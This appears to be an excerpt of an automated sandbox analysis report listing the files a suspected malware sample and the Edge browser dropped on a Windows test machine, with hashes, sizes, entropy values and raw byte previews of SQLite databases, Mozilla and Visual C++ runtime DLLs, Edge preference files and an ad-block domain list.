Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKKKFCFHCFIECBGDHIDHIEGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Unlock_Tool_v2.6.5.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Unlock_Tool_v2.6.5.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\07f36415-cde2-46d8-a6e7-32c2b14e7a35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45901
Entropy (8bit):	6.088610350786191
Encrypted:	false
SSDEEP:	768:YMkbJrT8IeQcrQgxXL2LmZGfr9hUgZyKF5MlsJx5OtjfZaC1oSwWE7RTupzKscD0:YMk1rT8HRXcfhOlsJx5gjxaIoSoRTuik
MD5:	CBDFF84E689B0B589F748EFC0DCC53D5
SHA1:	D96B4A830EEFB41B65008C1FE9A86E5CF673BB36
SHA-256:	E6054ED6DD0770DCC2197736EFFC84D8EC06167F28F9BE2931435FE7C6919414
SHA-512:	F90472496A7E65986F584F8BAED8786BB3DD1A8E75DB3567BF697E65D760EFDA0D893AEAA6389EE4348FFAF5C19A11D9725D5469767059CA38B100F32A8A6B14
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6ce32c63-d499-4782-b099-3d5726e46344"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732035639"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3409e7ec-ff54-464f-83a1-db24d64ead7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44637
Entropy (8bit):	6.0963859215972676
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kC9LmZGfr9HM6iFCz/zFKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynCfhrKoRTuiVIos
MD5:	EBA06744556525B7988A555F546F6F36
SHA1:	15F68B1E5037D6BF91CCBEC2523613E43923122E
SHA-256:	4DE22653148588FA16A93B3B0012E4D533E66FB732C96973938FE46BFE3EF9F6
SHA-512:	BF6B4916FCA226A736363A11C7F54936EDDB1E1776E1AF726ACA7534FC876797731898EF4498FC894973D1ACB1FBE2ED902012EC4D7037898B106711D90F1163
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4a1bbb7a-2a1f-446f-a9a5-7d109424b4a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44637
Entropy (8bit):	6.0963859215972676
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kC9LmZGfr9HM6iFCz/zFKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynCfhrKoRTuiVIos
MD5:	EBA06744556525B7988A555F546F6F36
SHA1:	15F68B1E5037D6BF91CCBEC2523613E43923122E
SHA-256:	4DE22653148588FA16A93B3B0012E4D533E66FB732C96973938FE46BFE3EF9F6
SHA-512:	BF6B4916FCA226A736363A11C7F54936EDDB1E1776E1AF726ACA7534FC876797731898EF4498FC894973D1ACB1FBE2ED902012EC4D7037898B106711D90F1163
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5134cb3d-804f-448f-8b93-dbc65e54616a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\59e469aa-9fbd-4820-bf8a-3abd6d54dc2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45978
Entropy (8bit):	6.088552538643876
Encrypted:	false
SSDEEP:	768:YMkbJrT8IeQcrQgxKL2LmZGfr90UgZyKF5MlsJx5OtjfZaC1oSwWE7RTupzKscD0:YMk1rT8HRKcfhXlsJx5gjxaIoSoRTuik
MD5:	3C4971C920CA634B69B20F1DFC8F489A
SHA1:	06440797F07834C841073A80686C74F5466969DA
SHA-256:	16D3735F3A91F42F5BA4E4BC21911852DFC5F1CB37AC7EC5CCEF565FD0DA82C6
SHA-512:	958CCFD3989D196FDD77E99C4D0520806A1910D611A6F8114504FE1078ED5DB889EB53FAF3E295F15382F8F1204692068D96FBBD7A0704F1804AA4F7EC9DFA63
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6ce32c63-d499-4782-b099-3d5726e46344"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732035639"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6fc90fee-0544-4385-8123-d3e3de6af133.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45978
Entropy (8bit):	6.088553513641236
Encrypted:	false
SSDEEP:	768:YMkbJrT8IeQcrQgxXL2LmZGfr90UgZyKF5MlsJx5OtjfZaC1oSwWE7RTupzKscD0:YMk1rT8HRXcfhXlsJx5gjxaIoSoRTuik
MD5:	CAF7181B0E1133255DE4A45ACC9165AA
SHA1:	3686267EE7A7FBE21D59C2F50CB8A5140B909118
SHA-256:	CEB9A0BC6FE7524B3D6C298DA907F14ECB72BAAF3E9C4B85F13884D6BCE0C917
SHA-512:	655FC5A2719E6FB4EE3B3C36A187A27C9CA9B41B3F66C8719ECEF91F8947822A40A1340C1C1333CD7E2F671D87646497E8FC49D0447F962A40E2243F84451393
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6ce32c63-d499-4782-b099-3d5726e46344"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732035639"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7ff764d3-e4d5-4103-89ff-a1ebeb8ab467.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45854
Entropy (8bit):	6.088850402276972
Encrypted:	false
SSDEEP:	768:YMkbJrT8IeQcrQgxXs2LmZGfr9hUgZyKF5MlsJx5OtjfZaC1oSwWE7RTupzKscD0:YMk1rT8HRXHfhOlsJx5gjxaIoSoRTuik
MD5:	61E9C719BA9BD171AA2C518481913995
SHA1:	9C36F6FA6F10EE476CF1729A18D8F331B57B9236
SHA-256:	9A04AEAB33DA1A6C61404308A373B38A861402D5DD6B920FC7BEE1B4D3FE4FF0
SHA-512:	FA7CE1080D8D6125AA51F5C51844EEE942D69AC87B9FDD1DD405CD53F0441D4D3140A05CBF7716853477D404807BBB797A3F21EBA926D48D779CBBB2B5C7864C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6ce32c63-d499-4782-b099-3d5726e46344"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732035639"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimden